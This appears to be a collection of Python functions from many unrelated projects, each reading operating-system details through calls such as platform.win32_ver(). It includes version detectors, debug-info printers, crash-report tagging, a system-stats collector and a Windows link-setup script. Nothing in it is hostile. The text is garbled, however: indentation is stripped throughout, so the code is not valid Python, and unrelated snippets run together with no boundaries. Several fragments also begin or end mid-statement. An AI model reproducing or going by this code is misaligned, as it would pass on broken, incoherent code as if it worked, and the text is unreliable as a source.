def get_platform_full():
type_info = ""
try:
type_info = "%s PROC: %s ARCH: %s" % (" ".join(platform.win32_ver()),
platform.processor(), " ".join(
platform.architecture()))
except Exception, e:
type_info = " ".join(platform.win32_ver())
def get_os_info():
"""
Get Operating System type/distribution and major version
:returns: (os_name, os_version)
:rtype: `tuple` of `str`
"""
info = platform.system_alias(platform.system(), platform.release(), platform.version())
os_type, os_ver, _ = info
os_type = os_type.lower()
if os_type.startswith("linux"):
info = platform.linux_distribution()
# On arch, platform.linux_distribution() is reportedly ('','',''),
# so handle it defensively
if info[0]:
os_type = info[0]
if info[1]:
os_ver = info[1]
elif os_type.startswith("darwin"):
os_ver = subprocess.Popen(["sw_vers", "-productVersion"], stdout=subprocess.PIPE).communicate()[0]
os_ver = os_ver.partition(".")[0]
elif os_type.startswith("freebsd"):
# eg "9.3-RC3-p1"
os_ver = os_ver.partition("-")[0]
os_ver = os_ver.partition(".")[0]
elif platform.win32_ver()[1]:
os_ver = platform.win32_ver()[1]
else:
# Cases known to fall here: Cygwin python
os_ver = ""
return os_type, os_ver
def WriteReportSum(path,caseSucCount, caseLosCount,caseNRCount,interfaceSucCount,interfaceLosCount,interfaceNRCount,checkPointSucCount, checkPointLosCount, startTime):
import platform, socket
oExcel=excel(path)
platformSys=platform.system()+' '+platform.win32_ver()[0]+"("+platform.win32_ver()[2]+")"
localIP = socket.gethostbyname(socket.gethostname())
oExcel.write_data(1, 7, 1,platformSys)
oExcel.write_data(1, 7, 2,localIP)
oExcel.write_data(1, 11, 1,"MTing")
oExcel.write_data(1, 11, 2,"Tomcat")
oExcel.write_data(1, 11, 3,"MYSQL")
oExcel.write_data(1, 15, 1,startTime)
oExcel.write_data(1, 19, 2,caseSucCount)
oExcel.write_data(1, 20, 2,caseLosCount)
oExcel.write_data(1, 22, 2,caseNRCount)
oExcel.write_data(1, 19, 4,interfaceSucCount)
oExcel.write_data(1, 20, 4,interfaceLosCount)
oExcel.write_data(1, 22, 4,interfaceNRCount)
oExcel.write_data(1, 19, 6,checkPointSucCount)
oExcel.write_data(1, 20, 6,checkPointLosCount)
endTime=GetCalTime()
oExcel.write_data(1, 15, 2,endTime)
oExcel.write_data(1, 15, 3,endTime-startTime)
oExcel.close()
del oExcel
def get_system_type():
print platform.system()
print platform.machine()
print platform.mac_ver()
print platform.win32_ver()
print platform.linux_distribution()
print platform.platform()
def format_platform_info():
platform_info = [
'architecture: %s %s\n' % platform.architecture(),
'machine: %s\n' % platform.machine(),
'platform: %s\n' % platform.platform(),
]
libc_ver = '%s: %s\n' % platform.libc_ver()
if libc_ver.strip():
platform_info.append(libc_ver)
if platform.dist() != ('', '', ''):
platform_info.append('GNU/Linux: %s\n' % ' '.join(platform.dist()))
elif platform.mac_ver() != ('', ('', '', ''), ''):
platform_info.append('Mac OS X: %s\n' % platform.mac_ver()[0])
elif platform.win32_ver() != ('', '', '', ''):
platform_info.append('Windows: %s\n' % platform.win32_ver()[0])
platform_info.append('python_compiler: %s\n' % platform.python_compiler())
platform_info.append(
'python_implementation: %s\n' % platform.python_implementation())
platform_info.append('locale: %s\n' % (locale.getlocale(),))
platform_info.append('default encoding: %s\n' % sys.getdefaultencoding())
platform_info.append('file system encoding: %s\n' % sys.getfilesystemencoding())
return platform_info
def collect_job():
config = utils.get_config()
disks = config[utils.DISK_SECTION]
interfaces = config[utils.INET_SECTION]
account = Account(config[utils.GENERAL_SECTION].get('email'),
config[utils.GENERAL_SECTION].get('user_key'),
config[utils.GENERAL_SECTION].get('api_key'))
report = {}
usage = {}
net = {}
if os.name == 'nt':
report['os'] = platform.system()+"-"+platform.win32_ver()[0]+" "+platform.win32_ver()[2]
report['arch'] = platform.architecture()[0]
else:
report['loadAverage'] = {}
if not os.name == 'nt':
for idx, la in enumerate(os.getloadavg()):
time_la = "1" if idx == 0 else "5" if idx == 2 else "15"
report['loadAverage'][time_la] = "{0:.2f}".format(la)
if platform.system() == 'Linux':
report['os'] = platform.linux_distribution()[0]+"-"+platform.linux_distribution()[1]+" "+platform.linux_distribution()[2]
report['arch'] = platform.architecture()[0]
else:
report['os'] = "Mac OS X - "+platform.mac_ver()[0]
report['arch'] = platform.architecture()[0]
for disk in disks.keys():
if disks[disk] == utils.ENABLED and check_disk(disk):
usage_temp = psutil.disk_usage(disk)
usage[disk] = {'total': usage_temp.total, 'used': usage_temp.used, 'free': usage_temp.free,
'percentage': usage_temp.percent}
for interf in interfaces.keys():
if interfaces[interf] == utils.ENABLED:
net_temp = dict((k.lower(),v) for k, v in psutil.net_io_counters(pernic=True).iteritems())[interf]
net[interf] = {'sent': net_temp.bytes_sent, 'recv': net_temp.bytes_recv}
report['inet'] = net
report['disks'] = usage
report['processes'] = {'value': len(psutil.pids())}
report['loadAverage'] = {}
if not os.name == 'nt':
for idx, la in enumerate(os.getloadavg()):
time_la = "1" if idx == 0 else "5" if idx == 2 else "15"
report['loadAverage'][time_la] = "{0:.2f}".format(la)
report['users'] = {'value': len(psutil.users())}
report['uptime'] = str(datetime.now() - datetime.fromtimestamp(psutil.boot_time())).split('.')[0]
report['kindDevice'] = 3
api_key = account.api_key
url = "%s/%s" % (system_config['ROUTES'].get('collect'), config[utils.GENERAL_SECTION].get('serial'))
params = {'apiKey': api_key, 'data': json.dumps(report)}
try:
response = http.request('POST', url, params, {'user-key': account.user_key}, encode_multipart=False)
except Exception, e:
console.error("Check your connection")
return
def get_dist():
if platform.dist()[0]:
return platform.dist()[0].lower()
elif platform.mac_ver()[0]:
darwin_version = platform.mac_ver()[0].rsplit('.', 1)[0]
return 'darwin%s' % darwin_version
elif platform.win32_ver()[0]:
return platform.win32_ver()[0].lower()
return 'unknown'
def _sys_get_os(self):
return {
'distro': platform.system(),
'version': platform.win32_ver()[0],
'arch': platform.architecture()[0],
'kernel': 'N/A',
'type': platform.system(),
'csd': platform.win32_ver()[1],
}
def system_information():
"""
Report system versions.
"""
def system_version():
"""
Return host system version.
"""
lin_ver = platform.linux_distribution()
mac_ver = platform.mac_ver()
win_ver = platform.win32_ver()
if lin_ver[0]:
return " ".join(lin_ver)
elif mac_ver[0]:
if isinstance(mac_ver[1], (tuple, list)) and "".join(mac_ver[1]):
return " ".join([mac_ver[0], ".".join(mac_ver[1]), mac_ver[2]])
else:
return " ".join([mac_ver[0], mac_ver[2]])
elif win_ver[0]:
return " ".join(win_ver)
else:
return ""
version = system_version()
release = platform.release()
if platform.win32_ver()[0]:
import win32api
if (sys.version_info.major == 2 and sys.version_info >= (2, 7, 12)) or (
sys.version_info.major == 3 and sys.version_info >= (3, 5, 2)
):
if win32api.GetVersionEx(1)[8] > 1:
server = {
"Vista": "2008Server",
"7": "2008ServerR2",
"8": "2012Server",
"8.1": "2012ServerR2",
"10": "2016Server",
}
release = server.get(platform.release(), "UNKServer")
_, ver, sp, extra = platform.win32_ver()
version = " ".join([release, ver, sp, extra])
system = [
("system", platform.system()),
("dist", " ".join(platform.dist())),
("release", release),
("machine", platform.machine()),
("version", version),
]
for name, attr in system:
yield name, attr
continue
def geisysteminfo():
""""""
print platform.system()
print platform.version()
print platform.architecture()
print platform.node()
print platform.java_ver()
print platform.dist()
print platform.python_version()
print platform.win32_ver()
def system_information():
'''
Report system versions.
'''
def system_version():
'''
Return host system version.
'''
lin_ver = platform.linux_distribution()
mac_ver = platform.mac_ver()
win_ver = platform.win32_ver()
if lin_ver[0]:
return ' '.join(lin_ver)
elif mac_ver[0]:
if isinstance(mac_ver[1], (tuple, list)) and ''.join(mac_ver[1]):
return ' '.join([mac_ver[0], '.'.join(mac_ver[1]), mac_ver[2]])
else:
return ' '.join([mac_ver[0], mac_ver[2]])
elif win_ver[0]:
return ' '.join(win_ver)
else:
return ''
version = system_version()
release = platform.release()
if platform.win32_ver()[0]:
import win32api
if ((sys.version_info.major == 2 and sys.version_info >= (2, 7, 12))
or (sys.version_info.major == 3 and sys.version_info >=
(3, 5, 2))):
if win32api.GetVersionEx(1)[8] > 1:
server = {
'Vista': '2008Server',
'7': '2008ServerR2',
'8': '2012Server',
'8.1': '2012ServerR2',
'10': '2016Server'
}
release = server.get(platform.release(), 'UNKServer')
_, ver, sp, extra = platform.win32_ver()
version = ' '.join([release, ver, sp, extra])
system = [
('system', platform.system()),
('dist', ' '.join(platform.dist())),
('release', release),
('machine', platform.machine()),
('version', version),
]
for name, attr in system:
yield name, attr
continue
def get_dist():
'''
Get the current os and version
'''
if platform.dist()[0]:
return platform.dist()[0].lower()
elif platform.mac_ver()[0]:
darwin_version = platform.mac_ver()[0].rsplit('.', 1)[0]
return 'darwin%s' % darwin_version
elif platform.win32_ver()[0]:
return platform.win32_ver()[0].lower()
return 'unknown'
def get_os():
"""get operating system name of computer"""
osname = platform.system()
osver = ""
if osname == "Darwin":
osname = "Mac OSX"
osver = platform.mac_ver()[0]
if osname in ["Windows", "Win32"]:
osver = platform.win32_ver()[0] + " " + platform.win32_ver()[1]
if osname == "Linux":
osver = platform.linux_distribution()[0] + " " + platform.linux_distribution()[1]
return osname + " " + osver
def testGotTimeline(self):
if sys.platform in ('win32', 'cygwin'):
if platform.win32_ver()[0] == 'XP':
raise unittest.SkipTest(
'Test flaky on Windows XP. http://crbug.com/321529')
# While the timeline is recording, call window.webkitRequestAnimationFrame.
# This will create a FireAnimationEvent, which can be checked below. See:
# https://developer.mozilla.org/en/docs/Web/API/window.requestAnimationFrame
with inspector_timeline.InspectorTimeline.Recorder(self._tab):
self._tab.ExecuteJavaScript("""
var done = false;
function sleep(ms) {
var endTime = (new Date().getTime()) + ms;
while ((new Date().getTime()) < endTime);
}
window.webkitRequestAnimationFrame(function() {
sleep(10);
window.done = true;
});
""")
self._WaitForAnimationFrame()
# There should be at least a FireAnimationFrame record with some duration.
events = self._tab.timeline_model.GetAllEventsOfName(
'FireAnimationFrame')
self.assertTrue(len(events) > 0)
self.assertTrue(events[0].duration > 0)
def _init_windows(self):
#XXX Right answer here is GetSystemInfo().
#XXX Does this work on all Windows flavours?
self.os = "windows"
PROCESSOR_ARCHITECTURE = os.environ.get("PROCESSOR_ARCHITECTURE")
if PROCESSOR_ARCHITECTURE == "IA64":
self.arch = "ia64"
elif PROCESSOR_ARCHITECTURE == "x86":
self.arch = "x86"
elif PROCESSOR_ARCHITECTURE == "AMD64":
self.arch = "x64"
else:
raise InternalError("unknown Windows PROCESSOR_ARCHITECTURE: %r"
% PROCESSOR_ARCHITECTURE)
# Get some additional info from Python's core platform.py, if
# available.
#XXX Would be nice to extend platform.py's win32_ver to use
# the extra OSVERSIONINFOEX structure elements (esp. service
# package version).
try:
import platform
except ImportError:
log.debug("cannot get extra windows os info: no platform.py")
else:
release, version, csd, ptype = platform.win32_ver()
if not release:
log.debug("platform.py could not get extra windows os info")
if release: self.os_name = release
if version: self.os_ver = version
if csd: self.os_csd = csd
def print_basic_debug_info(out=None):
if out is None:
out = sys.stdout
out = functools.partial(prints, file=out)
import platform
from calibre.constants import (__appname__, get_version, isportable, isosx,
isfrozen, is64bit)
out(__appname__, get_version(), 'Portable' if isportable else '',
'embedded-python:', isfrozen, 'is64bit:', is64bit)
out(platform.platform(), platform.system(), platform.architecture())
if iswindows and not is64bit:
try:
import win32process
if win32process.IsWow64Process():
out('32bit process running on 64bit windows')
except:
pass
out(platform.system_alias(platform.system(), platform.release(),
platform.version()))
out('Python', platform.python_version())
try:
if iswindows:
out('Windows:', platform.win32_ver())
elif isosx:
out('OSX:', platform.mac_ver())
else:
out('Linux:', platform.linux_distribution())
except:
pass
from calibre.customize.ui import has_external_plugins, initialized_plugins
if has_external_plugins():
names = (p.name for p in initialized_plugins() if getattr(p, 'plugin_path', None) is not None)
out('Successfully initialized third party plugins:', ' && '.join(names))
def get_system_stats():
systemStats = {
'machine': platform.machine(),
'platform': sys.platform,
'processor': platform.processor(),
'pythonV': platform.python_version(),
}
platf = sys.platform
if Platform.is_linux(platf):
grep = subprocess.Popen(['grep', 'model name', '/proc/cpuinfo'], stdout=subprocess.PIPE, close_fds=True)
wc = subprocess.Popen(['wc', '-l'], stdin=grep.stdout, stdout=subprocess.PIPE, close_fds=True)
systemStats['cpuCores'] = int(wc.communicate()[0])
if Platform.is_darwin(platf):
systemStats['cpuCores'] = int(subprocess.Popen(['sysctl', 'hw.ncpu'], stdout=subprocess.PIPE, close_fds=True).communicate()[0].split(': ')[1])
if Platform.is_freebsd(platf):
systemStats['cpuCores'] = int(subprocess.Popen(['sysctl', 'hw.ncpu'], stdout=subprocess.PIPE, close_fds=True).communicate()[0].split(': ')[1])
if Platform.is_linux(platf):
systemStats['nixV'] = platform.dist()
elif Platform.is_darwin(platf):
systemStats['macV'] = platform.mac_ver()
elif Platform.is_freebsd(platf):
version = platform.uname()[2]
systemStats['fbsdV'] = ('freebsd', version, '') # no codename for FreeBSD
elif Platform.is_win32(platf):
systemStats['winV'] = platform.win32_ver()
return systemStats
def _os_info():
"""Get operating system info.
Return:
A list of lines with version info.
"""
lines = []
releaseinfo = None
if sys.platform == "linux":
osver = ", ".join([e for e in platform.dist() if e])
releaseinfo = _release_info()
elif sys.platform == "win32":
osver = ", ".join(platform.win32_ver())
elif sys.platform == "darwin":
# pylint: disable=unpacking-non-sequence
# See https://bitbucket.org/logilab/pylint/issue/165/
release, versioninfo, machine = platform.mac_ver()
if all(not e for e in versioninfo):
versioninfo = ""
else:
versioninfo = ".".join(versioninfo)
osver = ", ".join([e for e in (release, versioninfo, machine) if e])
else:
osver = "?"
lines.append("OS Version: {}".format(osver))
if releaseinfo is not None:
for (fn, data) in releaseinfo:
lines += ["", "--- {} ---".format(fn), data]
return lines
def get_platform(self):
dist = ('linux', '0')
if platform.system().lower() == 'linux':
dist = platform.linux_distribution()
elif platform.system().lower() == 'windows':
dist = ('windows', platform.win32_ver()[0])
return (self._format_string(dist[0]), self._format_string(dist[1]))
def print_basic_debug_info(out=None):
if out is None:
out = sys.stdout
out = functools.partial(prints, file=out)
import platform
from calibre.constants import (__appname__, get_version, isportable, isosx,
isfrozen, is64bit)
out(__appname__, get_version(), 'Portable' if isportable else '',
'isfrozen:', isfrozen, 'is64bit:', is64bit)
out(platform.platform(), platform.system(), platform.architecture())
if iswindows and not is64bit:
try:
import win32process
if win32process.IsWow64Process():
out('32bit process running on 64bit windows')
except:
pass
out(platform.system_alias(platform.system(), platform.release(),
platform.version()))
out('Python', platform.python_version())
try:
if iswindows:
out('Windows:', platform.win32_ver())
elif isosx:
out('OSX:', platform.mac_ver())
else:
out('Linux:', platform.linux_distribution())
except:
pass
def _os_info():
"""Get operating system info.
Return:
A list of lines with version info.
"""
lines = []
releaseinfo = None
if sys.platform == 'linux':
osver = ''
releaseinfo = _release_info()
elif sys.platform == 'win32':
osver = ', '.join(platform.win32_ver())
elif sys.platform == 'darwin':
release, versioninfo, machine = platform.mac_ver()
if all(not e for e in versioninfo):
versioninfo = ''
else:
versioninfo = '.'.join(versioninfo)
osver = ', '.join([e for e in [release, versioninfo, machine] if e])
else:
osver = '?'
lines.append('OS Version: {}'.format(osver))
if releaseinfo is not None:
for (fn, data) in releaseinfo:
lines += ['', '--- {} ---'.format(fn), data]
return lines
def get_system_info(hass, include_components):
"""Return info about the system."""
info_object = {
'arch': platform.machine(),
'dev': 'dev' in current_version,
'docker': False,
'os_name': platform.system(),
'python_version': platform.python_version(),
'timezone': dt_util.DEFAULT_TIME_ZONE.zone,
'version': current_version,
'virtualenv': os.environ.get('VIRTUAL_ENV') is not None,
'hassio': hass.components.hassio.is_hassio(),
}
if include_components:
info_object['components'] = list(hass.config.components)
if platform.system() == 'Windows':
info_object['os_version'] = platform.win32_ver()[0]
elif platform.system() == 'Darwin':
info_object['os_version'] = platform.mac_ver()[0]
elif platform.system() == 'FreeBSD':
info_object['os_version'] = platform.release()
elif platform.system() == 'Linux':
import distro
linux_dist = yield from hass.async_add_job(
distro.linux_distribution, False)
info_object['distribution'] = linux_dist[0]
info_object['os_version'] = linux_dist[1]
info_object['docker'] = os.path.isfile('/.dockerenv')
return info_object
def _data(self):
# we may get an interrupted system call, so try this in a loop
n = 0
theos = "unknown"
while n < 100:
n += 1
try:
system = platform.system()
if isMac:
theos = "mac:%s" % (platform.mac_ver()[0])
elif isWin:
theos = "win:%s" % (platform.win32_ver()[0])
elif system == "Linux":
dist = platform.dist()
theos = "lin:%s:%s" % (dist[0], dist[1])
else:
theos = system
break
except:
continue
d = {"ver": aqt.appVersion,
"os": theos,
"id": self.config['id'],
"lm": self.config['lastMsg'],
"crt": self.config['created']}
return d
def FromCurrentSystem(cls):
"""Fill a Uname from the currently running platform."""
uname = platform.uname()
fqdn = socket.getfqdn()
system = uname[0]
architecture, _ = platform.architecture()
if system == "Windows":
service_pack = platform.win32_ver()[2]
kernel = uname[3] # 5.1.2600
release = uname[2] # XP, 2000, 7
version = uname[3] + service_pack # 5.1.2600 SP3, 6.1.7601 SP1
elif system == "Darwin":
kernel = uname[2] # 12.2.0
release = "OSX" # OSX
version = platform.mac_ver()[0] # 10.8.2
elif system == "Linux":
kernel = uname[2] # 3.2.5
release = platform.linux_distribution()[0] # Ubuntu
version = platform.linux_distribution()[1] # 12.04
return cls(system=system,
architecture=architecture,
node=uname[1],
release=release,
version=version,
machine=uname[4], # x86, x86_64
kernel=kernel,
fqdn=fqdn,
libc_ver="_".join(platform.libc_ver()),
)
def create(self):
vbox = wx.BoxSizer(wx.VERTICAL)
title = wx.StaticText(self, -1, "Fields to Omit")
vbox.Add(title, 0, wx.ALIGN_CENTER_HORIZONTAL | wx.TOP | wx.BOTTOM, 10)
if platform.win32_ver()[0] == 'XP':
self.anonList = AnonymizeListXP(self)
else:
self.anonList = AnonymizeList(self)
hbox = wx.BoxSizer(wx.HORIZONTAL)
self.store = wx.Button(self, -1, "Set as Default", size=(120, -1))
self.revert = wx.Button(self, -1, "Revert to Defaults", size=(120, -1))
self.revert.Bind(wx.EVT_BUTTON, self.RevertState)
self.store.Bind(wx.EVT_BUTTON, self.SaveState)
opts = wx.ALIGN_RIGHT | wx.TOP | wx.LEFT
hbox.Add(self.store, 0, opts, 10)
hbox.Add(self.revert, 0, opts, 10)
vbox.Add(self.anonList, 1, wx.EXPAND | wx.LEFT | wx.RIGHT, 10)
vbox.Add(hbox, 0, wx.ALIGN_CENTER_HORIZONTAL | wx.BOTTOM, 15)
self.SetSizer(vbox)
def Run(self, unused_args):
"""Populate platform information into a Uname response."""
uname = platform.uname()
fqdn = socket.getfqdn()
system = uname[0]
if system == "Windows":
service_pack = platform.win32_ver()[2]
kernel = uname[3] # 5.1.2600
release = uname[2] # XP, 2000, 7
version = uname[3] + service_pack # 5.1.2600 SP3, 6.1.7601 SP1
elif system == "Darwin":
kernel = uname[2] # 12.2.0
release = "OSX" # OSX
version = platform.mac_ver()[0] # 10.8.2
elif system == "Linux":
kernel = uname[2] # 3.2.5
release = platform.linux_distribution()[0] # Ubuntu
version = platform.linux_distribution()[1] # 12.04
self.SendReply(system=system,
node=uname[1],
release=release,
version=version,
machine=uname[4], # x86, x86_64
kernel=kernel,
fqdn=fqdn)
def display_platform():
# environment info
is_virtualenv = "VIRTUAL_ENV" in os.environ
print("sys.executable: ", sys.executable)
print("virtualenv:", os.environ.get("VIRTUAL_ENV", "no"))
# operating system info
def linux_distribution():
try:
return platform.linux_distribution()
except:
return "N/A"
print("""Python version: %s
dist: %s
linux_distribution: %s
system: %s
machine: %s
platform: %s
version: %s
mac_ver: %s
win32_ver: %s
""" % (
sys.version.split('\n'),
str(platform.dist()),
linux_distribution(),
platform.system(),
platform.machine(),
platform.platform(),
platform.version(),
platform.mac_ver(),
platform.win32_ver(),
))
def capture_exception(self, request=None):
if not RAVEN_AVAILABLE:
return
if os.path.exists(".git"):
log.warning("A .git directory exist crash report is turn off for developers")
return
server_config = Config.instance().get_section_config("Server")
if server_config.getboolean("report_errors"):
if self._client is None:
self._client = raven.Client(CrashReport.DSN, release=__version__, raise_send_errors=True)
if request is not None:
self._client.http_context({
"method": request.method,
"url": request.path,
"data": request.json,
})
self._client.tags_context({
"os:name": platform.system(),
"os:release": platform.release(),
"os:win_32": " ".join(platform.win32_ver()),
"os:mac": "{} {}".format(platform.mac_ver()[0], platform.mac_ver()[2]),
"os:linux": " ".join(platform.linux_distribution()),
"python:version": "{}.{}.{}".format(sys.version_info[0],
sys.version_info[1],
sys.version_info[2]),
"python:bit": struct.calcsize("P") * 8,
"python:encoding": sys.getdefaultencoding(),
"python:frozen": "{}".format(hasattr(sys, "frozen"))
})
try:
report = self._client.captureException()
except Exception as e:
log.error("Can't send crash report to Sentry: {}".format(e))
return
log.info("Crash report sent with event ID: {}".format(self._client.get_ident(report)))
def get_os_version():
if AbstractOSIntegration.is_mac():
return platform.mac_ver()[0]
if AbstractOSIntegration.is_windows():
"""
5.0.2195 Windows 2000
5.1.2600 Windows XP
Windows XP 64-Bit Edition Version 2002 (Itanium)
5.2.3790 Windows Server 2003
Windows XP x64 Edition (AMD64/EM64T)
Windows XP 64-Bit Edition Version 2003 (Itanium)
6.0.6000 Windows Vista
6.0.6001 Windows Vista SP1
Windows Server 2008
6.1.7600 Windows 7
Windows Server 2008 R2
6.1.7601 Windows 7 SP1
Windows Server 2008 R2 SP1
6.2.9200 Windows 8
Windows Server 2012
6.3.9200 Windows 8.1
Windows Server 2012 R2
6.3.9600 Windows 8.1 with Update 1
6.4. Windows 10
"""
return platform.win32_ver()[1]
raise RuntimeError('Cannot determine GNU/Linux version')
def captureException(self, exception, value, tb):
if not RAVEN_AVAILABLE:
return
if os.path.exists(".git"):
log.warning("A .git directory exist crash report is turn off for developers")
return
local_server = Servers.instance().localServerSettings()
if local_server["report_errors"]:
if self._client is None:
self._client = raven.Client(CrashReport.DSN, release=__version__)
self._client.tags_context({
"os:name": platform.system(),
"os:release": platform.release(),
"os:win_32": " ".join(platform.win32_ver()),
"os:mac": "{} {}".format(platform.mac_ver()[0], platform.mac_ver()[2]),
"os:linux": " ".join(platform.linux_distribution()),
"python:version": "{}.{}.{}".format(sys.version_info[0],
sys.version_info[1],
sys.version_info[2]),
"python:bit": struct.calcsize("P") * 8,
"python:encoding": sys.getdefaultencoding(),
"python:frozen": "{}".format(hasattr(sys, "frozen"))
})
try:
report = self._client.captureException((exception, value, tb))
except Exception as e:
log.error("Can't send crash report to Sentry: {}".format(e))
return
log.info("Crash report sent with event ID: {}".format(self._client.get_ident(report)))
'python_compiler': platform.python_compiler(),
'python_implementation': platform.python_implementation(),
'python_revision': platform.python_revision(),
'python_version': platform.python_version(),
'python_version_tuple': platform.python_version_tuple(),
'release': platform.release(),
'system': platform.system(),
'uname': platform.uname(),
'machine': platform.machine(),
'node': platform.node(),
'platform': platform.platform(),
'processor': platform.processor(),
'architecture': platform.architecture(),
'version': platform.version(),
'java_ver': platform.java_ver(),
'win32_ver': platform.win32_ver(),
'mac_ver': platform.mac_ver(),
'linux_distribution': platform.linux_distribution(),
'libc_ver': platform.libc_ver()
}) + ';', verinfodata)
if (sys.version[0] == "3"):
'''verinfodata = verinfodata.replace('__build_python_info__ = {"python_branch": None, "python_build": None, "python_compiler": None, "python_implementation": None, "python_revision": None, "python_version": None, "python_version_tuple": None, "release": None, "system": None, "uname": None, "machine": None, "node": None, "platform": None, "processor": None, "version": None, "java_ver": None, "win32_ver": None, "mac_ver": None, "linux_distribution": None, "libc_ver": None};', '__build_python_info__ = '+str({'python_branch': platform.python_branch(), 'python_build': platform.python_build(), 'python_compiler': platform.python_compiler(), 'python_implementation': platform.python_implementation(), 'python_revision': platform.python_revision(), 'python_version': platform.python_version(), 'python_version_tuple': platform.python_version_tuple(), 'release': platform.release(), 'system': platform.system(), 'uname': (platform.uname()[0], platform.uname()[1], platform.uname()[2], platform.uname()[3], platform.uname()[4], platform.uname()[5]), 'machine': platform.machine(), 'node': platform.node(), 'platform': platform.platform(), 'processor': platform.processor(), 'architecture': platform.architecture(), 'version': platform.version(), 'java_ver': platform.java_ver(), 'win32_ver': platform.win32_ver(), 'mac_ver': platform.mac_ver(), 'linux_distribution': platform.linux_distribution(), 'libc_ver': platform.libc_ver()})+';');'''
verinfodata = re.sub(
"__build_python_info__ \= \{.*\}\;",
'__build_python_info__ = ' + str({
'python_branch':
platform.python_branch(),
'python_build':
platform.python_build(),
'python_compiler':
platform.python_compiler(),
from PyQt5.QtCore import PYQT_VERSION_STR
# Get settings
s = settings.get_settings()
# Determine OS version
os_version = "X11; Linux %s" % platform.machine()
linux_distro = "None"
try:
if platform.system() == "Darwin":
v = platform.mac_ver()
os_version = "Macintosh; Intel Mac OS X %s" % v[0].replace(".", "_")
linux_distro = "OS X %s" % v[0]
elif platform.system() == "Windows":
v = platform.win32_ver()
# TODO: Upgrade windows python (on build server) version to 3.5, so it correctly identifies Windows 10
os_version = "Windows NT %s; %s" % (v[0], v[1])
linux_distro = "Windows %s" % "-".join(platform.win32_ver())
elif platform.system() == "Linux":
# Get the distro name and version (if any)
linux_distro = "-".join(platform.linux_distribution())
except Exception as Ex:
log.error("Error determining OS version in metrics.py")
# Build user-agent
user_agent = "Mozilla/5.0 (%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" % os_version
params = {
# -*- coding: utf-8 -*-
import distutils.spawn
import os
from platform import win32_ver
import sys
import warnings
from colorama import Fore
MACOS = 'darwin'
WIN = 'win32'
IS_MACOS = sys.platform == MACOS
IS_WIN = sys.platform == WIN
WIN_VER = None
if IS_WIN:
WIN_VER = win32_ver()[0]
def print_say(text, self, color=""):
"""
Gives Jarvis the ability to print text
and talk when sound is enabled.
:param text: the text to print (or talk)
color: Fore.COLOR (ex Fore.BLUE), color for text
:return: Nothing to return.
.. deprecated::
Use ``JarvisAPI.say(text, color="", speak=True))`` instead.
"""
warnings.warn(
"GeneralUtilities.print_say is deprecated now and will be \
def main():
FULLDIR = "{}\\{}".format(MAINDIR, PROJECTDIR)
print("""
######################################
# R3FADVLOG Development Environment Setup #
######################################
This script will create your R3FADVLOG dev environment for you.
Before you run this, you should already have:
- A properly setup ACE3 Development Environment
If you have not done those things yet, please abort this script in the next step and do so first.
This script will create two hard links on your system, both pointing to your R3FADVLOG project folder:
[Arma 3 installation directory]\\{} => R3FADVLOG project folder
P:\\{} => R3FADVLOG project folder
""".format(FULLDIR, FULLDIR))
print("\n")
try:
reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
key = winreg.OpenKey(
reg, r"SOFTWARE\Wow6432Node\bohemia interactive\arma 3")
armapath = winreg.EnumValue(key, 1)[1]
except:
print("Failed to determine Arma 3 Path.")
return 1
if not os.path.exists("P:\\z\\ace"):
print("No ACE3 Development Environment detected.")
return 2
scriptpath = os.path.realpath(__file__)
projectpath = os.path.dirname(os.path.dirname(scriptpath))
print("# Detected Paths:")
print(" Arma Path: {}".format(armapath))
print(" Project Path: {}".format(projectpath))
repl = input("\nAre these correct? (y/n): ")
if repl.lower() != "y":
return 3
print("\n# Creating links ...")
if os.path.exists("P:\\{}\\{}".format(MAINDIR, PROJECTDIR)):
print("Link on P: already exists. Please finish the setup manually.")
return 4
if os.path.exists(os.path.join(armapath, MAINDIR, PROJECTDIR)):
print(
"Link in Arma directory already exists. Please finish the setup manually."
)
return 5
try:
if not os.path.exists("P:\\{}".format(MAINDIR)):
os.mkdir("P:\\{}".format(MAINDIR))
if not os.path.exists(os.path.join(armapath, MAINDIR)):
os.mkdir(os.path.join(armapath, MAINDIR))
if platform.win32_ver()[0] == "7":
subprocess.call([
"cmd", "/c", "mklink", "/D",
"P:\\{}\\{}".format(MAINDIR, PROJECTDIR), projectpath
])
subprocess.call([
"cmd", "/c", "mklink", "/D",
os.path.join(armapath, MAINDIR, PROJECTDIR), projectpath
])
else:
subprocess.call([
"cmd", "/c", "mklink", "/D", "/J",
"P:\\{}\\{}".format(MAINDIR, PROJECTDIR), projectpath
])
subprocess.call([
"cmd", "/c", "mklink", "/D", "/J",
os.path.join(armapath, MAINDIR, PROJECTDIR), projectpath
])
except:
raise
print(
"Something went wrong during the link creation. Please finish the setup manually."
)
return 6
print("# Links created successfully.")
return 0
def system_info():
'''
Get the sysem information.
Return a tuple with the platform type, the architecture and the
distribution
'''
# Get the platform info
platform = sys.platform
if platform.startswith('win'):
platform = Platform.WINDOWS
elif platform.startswith('darwin'):
platform = Platform.DARWIN
elif platform.startswith('linux'):
platform = Platform.LINUX
else:
raise FatalError(_("Platform %s not supported") % platform)
# Get the architecture info
if platform == Platform.WINDOWS:
platform_str = sysconfig.get_platform()
if platform_str in ['win-amd64', 'win-ia64']:
arch = Architecture.X86_64
else:
arch = Architecture.X86
else:
uname = os.uname()
arch = uname[4]
if arch == 'x86_64':
arch = Architecture.X86_64
elif arch.endswith('86'):
arch = Architecture.X86
elif arch == "Power Macintosh":
arch = Architecture.PPC
else:
raise FatalError(_("Architecture %s not supported") % arch)
# Get the distro info
if platform == Platform.LINUX:
d = pplatform.linux_distribution()
if d[0] in ['Ubuntu', 'debian']:
distro = Distro.DEBIAN
if d[2] == 'maverick':
distro_version = DistroVersion.UBUNTU_MAVERICK
elif d[2] == 'lucid':
distro_version = DistroVersion.UBUNTU_LUCID
elif d[2] == 'natty':
distro_version = DistroVersion.UBUNTU_NATTY
elif d[2] == 'oneiric':
distro_version = DistroVersion.UBUNTU_ONEIRIC
elif d[2] == 'precise':
distro_version = DistroVersion.UBUNTU_PRECISE
elif d[2] == 'quantal':
distro_version = DistroVersion.UBUNTU_QUANTAL
elif d[2] == 'raring':
distro_version = DistroVersion.UBUNTU_RARING
elif d[2] == 'saucy':
distro_version = DistroVersion.UBUNTU_SAUCY
elif d[2] == 'trusty':
distro_version = DistroVersion.UBUNTU_TRUSTY
elif d[2] == 'utopic':
distro_version = DistroVersion.UBUNTU_UTOPIC
